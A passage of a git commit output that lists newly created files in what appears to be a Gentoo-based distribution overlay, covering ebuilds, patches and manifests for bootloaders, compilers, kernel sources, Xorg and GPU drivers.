sys-boot/grub/files/ubuntu-upstream-1.98/974_drive_probe.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream-1.98/975_hostdisk_hd.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream/01_uuids_and_lvm_dont_play_along_nicely.diff create mode 100644 sys-boot/grub/files/ubuntu-upstream/904_disable_floppies.diff create mode 100644 sys-boot/grub/grub-0.97-r22.ebuild create mode 100644 sys-boot/grub/grub-1.99-r2.ebuild create mode 100644 sys-boot/grub/grub-2.00-r2.ebuild create mode 100644 sys-boot/grub/grub-2.00-r3.ebuild create mode 100644 sys-boot/grub/grub-2.00-r4.ebuild create mode 100644 sys-boot/grub/grub-2.00-r5.ebuild create mode 100644 sys-boot/grub/grub-2.00.ebuild create mode 100644 sys-boot/plymouth-extras/Manifest create mode 100644 sys-boot/plymouth-extras/plymouth-extras-0.8.8-r1.ebuild create mode 100644 sys-boot/plymouth/Manifest create mode 100644 sys-boot/plymouth/files/plymouth-rogentos-defaults.patch create mode 100644 sys-boot/plymouth/metadata.xml create mode 100644 sys-boot/plymouth/plymouth-0.8.8-r2.ebuild create mode 100644 sys-boot/plymouth/plymouth-0.8.8-r4.ebuild create mode 100644 sys-boot/plymouth/plymouth-0.8.9_pre2.ebuild create mode 100644 sys-devel/base-gcc/Manifest create mode 100644 sys-devel/base-gcc/base-gcc-4.5.3-r2.ebuild create mode 100644 sys-devel/base-gcc/base-gcc-4.6.2.ebuild create mode 100644 sys-devel/base-gcc/base-gcc-4.6.3.ebuild create mode 100644 sys-devel/base-gcc/base-gcc-4.7.2.ebuild create mode 100644 sys-devel/base-gcc/files/awk/fixlafiles.awk create mode 100644 sys-devel/base-gcc/files/awk/fixlafiles.awk-no_gcc_la create mode 100644 sys-devel/base-gcc/files/fix_libtool_files.sh create mode 100644 sys-devel/base-gcc/files/gcc-configure-LANG.patch create mode 100644 sys-devel/base-gcc/files/gcc-configure-texinfo.patch create mode 100644 sys-devel/base-gcc/files/gcc-spec-env.patch create mode 100644 sys-devel/base-gcc/files/mkinfodir create mode 100644 sys-devel/base-gcc/files/pro-police-docs.patch create mode 100644 sys-devel/base-gcc/metadata.xml create mode 100644 sys-devel/gcc/Manifest create mode 100644 sys-devel/gcc/files/awk/fixlafiles.awk create mode 100644 sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la create mode 100755 sys-devel/gcc/files/c89 create mode 100755 sys-devel/gcc/files/c99 create mode 100644 sys-devel/gcc/files/fix_libtool_files.sh create mode 100644 sys-devel/gcc/files/gcc-4.6.2-fix-ICE-on-arm.patch create mode 100644 sys-devel/gcc/files/gcc-configure-LANG.patch create mode 100644 sys-devel/gcc/files/gcc-configure-texinfo.patch create mode 100644 sys-devel/gcc/files/gcc-spec-env.patch create mode 100644 sys-devel/gcc/files/mkinfodir create mode 100644 sys-devel/gcc/files/pro-police-docs.patch create mode 100644 sys-devel/gcc/gcc-4.5.3-r2.ebuild create mode 100644 sys-devel/gcc/gcc-4.6.2.ebuild create mode 100644 sys-devel/gcc/gcc-4.6.3.ebuild create mode 100644 sys-devel/gcc/gcc-4.7.2.ebuild create mode 100644 sys-devel/gcc/metadata.xml create mode 100644 sys-devel/ucpp/ChangeLog create mode 100644 sys-devel/ucpp/Manifest create mode 100644 sys-devel/ucpp/files/tune.h.patch create mode 100644 sys-devel/ucpp/metadata.xml create mode 100644 sys-devel/ucpp/ucpp-1.3.3.ebuild create mode 100644 sys-devel/ucpp/ucpp-1.3.ebuild create mode 100644 sys-devel/ucpp/ucpp-9999.ebuild create mode 100644 sys-devel/ucpp/ucpp/ChangeLog create mode 100644 sys-fs/vdfuse/ChangeLog create mode 100644 sys-fs/vdfuse/Manifest create mode 100644 sys-fs/vdfuse/vdfuse-82a.ebuild create mode 100644 sys-kernel/compat-drivers-alx/Manifest create mode 100644 sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc5.ebuild create mode 100644 sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc7.ebuild create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/00-read-only.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/01-read-only.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/02-read-only-ath.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/03-read-only-memory.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/04-read-only-brcm80211.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/05-read-only-i915.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/06-read-only-radeon.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/07-read-only-wl1251.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/08-read-only-ti.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/09-read-only-nouveau.patch create mode 100644 sys-kernel/compat-drivers-alx/files/3.8-grsec/20-version-disagrement-iwlwifi.patch create mode 100644 sys-kernel/compat-drivers-alx/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch create mode 100644 sys-kernel/compat-drivers-alx/files/4004_zd1211rw-2.6.28.patch create mode 100644 sys-kernel/compat-drivers-alx/files/ath_regd_optional.patch create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec.patch create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-ath6kl.patch create mode 100644 sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-bt_tty.patch create mode 100755 sys-kernel/compat-drivers-alx/files/compat-drivers-3.8-driver-select create mode 100644 sys-kernel/compat-drivers-alx/files/ipw2200-inject.3.4.6.patch create mode 100644 sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.6.6.patch create mode 100644 sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.7_rc1_p6.patch create mode 100644 sys-kernel/compat-drivers-alx/files/leds-disable-strict-3.8.patch create mode 100644 sys-kernel/compat-drivers/Manifest create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6-r1.ebuild create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.7_rc1_p6.ebuild create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.8.ebuild create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.8_rc5.ebuild create mode 100644 sys-kernel/compat-drivers/compat-drivers-3.8_rc7.ebuild create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/00-read-only.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/01-read-only.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/02-read-only-ath.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/03-read-only-memory.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/04-read-only-brcm80211.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/05-read-only-i915.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/06-read-only-radeon.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/07-read-only-wl1251.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/08-read-only-ti.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/09-read-only-nouveau.patch create mode 100644 sys-kernel/compat-drivers/files/3.8-grsec/20-version-disagrement-iwlwifi.patch create mode 100644 sys-kernel/compat-drivers/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch create mode 100644 sys-kernel/compat-drivers/files/4004_zd1211rw-2.6.28.patch create mode 100644 sys-kernel/compat-drivers/files/ath_regd_optional.patch create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.7_rc1_p6-grsec.patch create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.8-ath6kl.patch create mode 100644 sys-kernel/compat-drivers/files/compat-drivers-3.8-bt_tty.patch create mode 100755 sys-kernel/compat-drivers/files/compat-drivers-3.8-driver-select create mode 100644 sys-kernel/compat-drivers/files/ipw2200-inject.3.4.6.patch create mode 100644 sys-kernel/compat-drivers/files/leds-disable-strict-3.6.6.patch create mode 100644 sys-kernel/compat-drivers/files/leds-disable-strict-3.7_rc1_p6.patch create mode 100644 sys-kernel/compat-drivers/files/leds-disable-strict-3.8.patch create mode 100644 sys-kernel/compat-drivers/metadata.xml create mode 100644 sys-kernel/debian-sources-lts/Manifest create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41-r1.ebuild create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.41.ebuild create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43-r1.ebuild create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.43.ebuild create mode 100644 sys-kernel/debian-sources-lts/debian-sources-lts-2.6.32.46.ebuild create mode 100755 sys-kernel/debian-sources-lts/files/config-extract create mode 100644 sys-kernel/debian-sources-lts/files/debian-sources-2.6.32.30-bridgemac.patch create mode 100644 sys-kernel/debian-sources-lts/files/debian-sources-2.6.38.3-bridgemac.patch create mode 100644 sys-kernel/debian-sources-lts/metadata.xml create mode 100644 sys-kernel/debian-sources/Manifest create mode 100644 sys-kernel/debian-sources/debian-sources-3.10.11.ebuild create mode 100644 sys-kernel/debian-sources/debian-sources-3.12.3.ebuild create mode 100755 sys-kernel/debian-sources/files/config-extract create mode 100644 sys-kernel/debian-sources/files/debian-sources-3.10.11-xfs-libcrc32c-fix.patch create mode 100644 sys-kernel/debian-sources/files/debian-sources-3.12.3-xfs-libcrc32c-fix.patch create mode 100644 sys-kernel/debian-sources/metadata.xml create mode 100644 sys-kernel/kogaion-sources/Manifest create mode 100644 sys-kernel/kogaion-sources/files/desktop/0001-block-cgroups-kconfig-build-bits-for-BFQ-v7-3.10.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/0002-block-introduce-the-BFQ-v7-I-O-sched-for-3.10.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/0003-block-bfq-add-Early-Queue-Merge-EQM-to-BFQ-v7-for-3.10.0.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/3.10-ck1.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/change-default-console-loglevel.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/criu-no-expert.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/enable_haswell_pstate_driver.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/set_kogaion_extraversion_in_makefile.patch create mode 100644 sys-kernel/kogaion-sources/files/desktop/uksm-0.1.2.2-for-v3.10.patch create mode 100644 sys-kernel/kogaion-sources/files/security/0001-x86-x32-Correct-invalid-use-of-user-timespec-in-the-.patch create mode 100644 sys-kernel/kogaion-sources/kogaion-sources-3.10.25.ebuild create mode 100644 sys-kernel/linux-sabayon/Manifest create mode 100644 sys-kernel/linux-sabayon/linux-sabayon-3.2-r2.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.10.26.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.10.27.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.11.10.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.12.10.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.12.7.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.12.8.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.2-r2.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.4.76.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.4.77.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.8.13.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources-3.9.11.ebuild create mode 100644 sys-kernel/rogentos-sources/rogentos-sources.skel create mode 100644 www-apps/liquid_feedback_core/ChangeLog create mode 100644 www-apps/liquid_feedback_core/Manifest create mode 100644 www-apps/liquid_feedback_core/files/liquid_feedback_core-2.2.3-gentoo.patch create mode 100644 www-apps/liquid_feedback_core/files/postinstall-en.txt create mode 100644 www-apps/liquid_feedback_core/liquid_feedback_core-2.2.3.ebuild create mode 100644 www-apps/liquid_feedback_core/liquid_feedback_core-3.0.0.ebuild create mode 100644 www-apps/liquid_feedback_core/metadata.xml create mode 100644 www-apps/liquid_feedback_frontend/ChangeLog create mode 100644 www-apps/liquid_feedback_frontend/Manifest create mode 100644 www-apps/liquid_feedback_frontend/files/lqfb-apache.conf create mode 100644 www-apps/liquid_feedback_frontend/files/lqfb.example.com.conf create mode 100644 www-apps/liquid_feedback_frontend/files/myconfig.lua create mode 100644 www-apps/liquid_feedback_frontend/files/postinstall-en.txt create mode 100644 www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.2.ebuild create mode 100644 www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.5.ebuild create mode 100644 www-apps/liquid_feedback_frontend/metadata.xml create mode 100644 x11-base/xorg-server/ChangeLog create mode 100644 x11-base/xorg-server/Manifest create mode 100644 x11-base/xorg-server/files/xdm-setup.initd-1 create mode 100644 x11-base/xorg-server/files/xdm.confd-3 create mode 100644 x11-base/xorg-server/files/xdm.confd-4 create mode 100755 x11-base/xorg-server/files/xdm.initd create mode 100644 x11-base/xorg-server/files/xdm.initd-3 create mode 100644 x11-base/xorg-server/files/xdm.initd-4 create mode 100644 x11-base/xorg-server/files/xdm.initd-5 create mode 100644 x11-base/xorg-server/files/xdm.initd-7 create mode 100644 x11-base/xorg-server/files/xdm.initd-8 create mode 100644 x11-base/xorg-server/files/xorg-cve-2011-4028+4029.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-disable-tests-without-ddx.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-dix-pointerrootwin-send-focusin.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-dix-send-focus-events.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-log-format-fix.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.11-pointer-to-int-cast.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.12-disable-acpi.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.12-xf86edidmodes-array-bounds.patch create mode 100644 x11-base/xorg-server/files/xorg-server-1.9-nouveau-default.patch create mode 100644 x11-base/xorg-server/files/xorg-server-die-ugly-background.patch create mode 100644 x11-base/xorg-server/files/xorg-server-disable-acpi.patch create mode 100644 x11-base/xorg-server/files/xorg-server-glapi_c.patch create mode 100644 x11-base/xorg-server/files/xorg-sets.conf create mode 100644 x11-base/xorg-server/metadata.xml create mode 100644 x11-base/xorg-server/xorg-server-1.10.4.ebuild create mode 100644 x11-base/xorg-server/xorg-server-1.11.3.ebuild create mode 100644 x11-base/xorg-server/xorg-server-1.11.4-r1.ebuild create mode 100644 x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild create mode 100644 x11-base/xorg-server/xorg-server-1.12.2.ebuild create mode 100644 x11-base/xorg-server/xorg-server-1.12.3.ebuild create mode 100644 x11-base/xorg-server/xorg-server-1.12.4.ebuild create mode 100644 x11-drivers/ati-drivers/Manifest create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.10.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.11.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.12.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.6.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.8.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.9.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.1-r1.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.10.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.2.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.3.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.4.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.6.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.6_beta_pre897.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.8.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-13.1.ebuild create mode 100644 x11-drivers/ati-drivers/ati-drivers-13.4.ebuild create mode 100644 x11-drivers/ati-drivers/files/amd-drivers-3.2.7.1.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-12.2-redefine-WARN.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.33.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.34.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.35-and-newer.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.36.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.37.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.38.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.39.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-3.2.8+-2.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-3.2.8+.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-CVE-2010-3081-fix.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-do_mmap.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-fix_compilation-bug-297322.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-kernel-3.8-acpihandle.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-old_rsp.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-redefine-WARN.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-vm-reserverd.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-x32_something_something.patch create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-xen.patch create mode 100644 x11-drivers/ati-drivers/files/ati-powermode-opt-path-2.patch create mode 100644 x11-drivers/ati-drivers/files/ati-powermode-opt-path-3.patch create mode 100644 x11-drivers/ati-drivers/files/atieventsd.init create mode 100644 x11-drivers/ati-drivers/files/const-notifier-block.patch create mode 100644 x11-drivers/ati-drivers/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch create mode 100644 x11-drivers/ati-drivers/files/kernel/2.6.32-9.11-fix_compilation.patch create mode 100644 x11-drivers/ati-drivers/files/switchlibGL create mode 100644 x11-drivers/ati-userspace/Manifest create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.10.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.11.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.12.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.6.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.8.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.9.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.1-r1.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.10.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.2.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.3.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.4.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.6.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.6_beta_pre897.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.8.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-13.1.ebuild create mode 100644 x11-drivers/ati-userspace/ati-userspace-13.4.ebuild create mode 100644 x11-drivers/ati-userspace/files/amd-drivers-3.2.7.1.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-12.2-redefine-WARN.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.33.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.34.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.35-and-newer.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.36.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.37.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.38.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-CVE-2010-3081-fix.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-do_mmap.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-fix_compilation-bug-297322.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-kernel-3.8-acpihandle.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-old_rsp.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-vm-reserverd.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-x32_something_something.patch create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-xen.patch create mode 100644 x11-drivers/ati-userspace/files/ati-powermode-opt-path-2.patch create mode 100644 x11-drivers/ati-userspace/files/ati-powermode-opt-path-3.patch create mode 100644 x11-drivers/ati-userspace/files/atieventsd.init create mode 100644 x11-drivers/ati-userspace/files/const-notifier-block.patch create mode 100644 x11-drivers/ati-userspace/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch create mode 100644 x11-drivers/ati-userspace/files/kernel/2.6.32-9.11-fix_compilation.patch create mode 100644 x11-drivers/ati-userspace/files/switchlibGL create mode 100644 x11-drivers/nvidia-drivers/Manifest create mode 100644 x11-drivers/nvidia-drivers/files/10nvidia create mode 100644 x11-drivers/nvidia-drivers/files/256.35-unified-arch.patch create mode 100644 x11-drivers/nvidia-drivers/files/eblits/donvidia.eblit create mode 100644 x11-drivers/nvidia-drivers/files/eblits/mtrr_check.eblit create mode 100644 x11-drivers/nvidia-drivers/files/eblits/src_install-libs.eblit create mode 100644 x11-drivers/nvidia-drivers/files/eblits/want_tls.eblit create mode 100644 x11-drivers/nvidia-drivers/files/libGL.la-r2 create mode 100644 x11-drivers/nvidia-drivers/files/make-use-of-the-new-uapi-framework.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-169.07 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.10.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-260.19.44-2.6.39.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-290.10-3.2.8+.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.10.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-313.18-3.8.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-319.23-3.10.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-96.43.19-2.6.39.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-const.patch create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-usercopy.patch create mode 100644 x11-drivers/nvidia-drivers/files/replace-VM_RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch create mode 100644 x11-drivers/nvidia-drivers/metadata.xml create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-173.14.31.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-173.14.34.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-173.14.35.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-275.09.07.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-280.13.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-285.05.09.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-290.10.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.20.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.33.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.40.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.49.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.53.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.59.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-302.17.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.22.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.37.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.64.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.88.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-310.19.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-313.18.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-313.30.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-325.15.ebuild create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-96.43.20.ebuild create mode 100644 x11-drivers/nvidia-userspace/Manifest create mode 100644 x11-drivers/nvidia-userspace/files/09nvidia create mode 100644 x11-drivers/nvidia-userspace/files/90mutter-disable-culling create mode 100644 x11-drivers/nvidia-userspace/files/NVIDIA_glx-defines.patch create mode 100644 x11-drivers/nvidia-userspace/files/NVIDIA_glx-glheader.patch create mode 100644 x11-drivers/nvidia-userspace/files/eblits/donvidia.eblit create mode 100644 x11-drivers/nvidia-userspace/files/eblits/mtrr_check.eblit create mode 100644 x11-drivers/nvidia-userspace/files/eblits/src_install-libs.eblit create mode 100644 x11-drivers/nvidia-userspace/files/eblits/want_tls.eblit create mode 100644 x11-drivers/nvidia-userspace/files/libGL.la-r2 create mode 100644 x11-drivers/nvidia-userspace/files/nvidia create mode 100644 x11-drivers/nvidia-userspace/files/nvidia-169.07 create mode 100644 x11-drivers/nvidia-userspace/files/nvidia-smi.init create mode 100644 x11-drivers/nvidia-userspace/files/nvidia-udev.sh create mode 100644 x11-drivers/nvidia-userspace/files/nvidia.udev-rule create mode 100644 x11-drivers/nvidia-userspace/metadata.xml create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-173.14.31.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-173.14.34.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-173.14.35.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-275.09.07.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-280.13.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-285.05.09.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-290.10.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.20.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.33.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.40.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.49.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.53.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.59.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-302.17.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-304.22.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-304.37.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-304.88.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-310.19.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-313.30.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-325.15.ebuild create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-96.43.20.ebuild create mode 100644 x11-drivers/pvr-omap4/Manifest create mode 100644 x11-drivers/pvr-omap4/README create mode 100644 x11-drivers/pvr-omap4/pvr-omap4-1.7.10.0.1.9.ebuild create mode 100644 x11-drivers/xf86-video-ati/Manifest create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-evergreen.patch create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r100.patch create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r200.patch create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r300.patch create mode 100644 x11-drivers/xf86-video-ati/metadata.xml create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-6.14.6-r1.ebuild create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-7.0.0.ebuild create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-7.1.0.ebuild create mode 100644 x11-drivers/xf86-video-intel/Manifest create mode 100644 x11-drivers/xf86-video-intel/metadata.xml create mode 100644 x11-drivers/xf86-video-intel/xf86-video-intel-2.20.0.ebuild create mode 100644 x11-drivers/xf86-video-radeonhd/Manifest create mode 100644 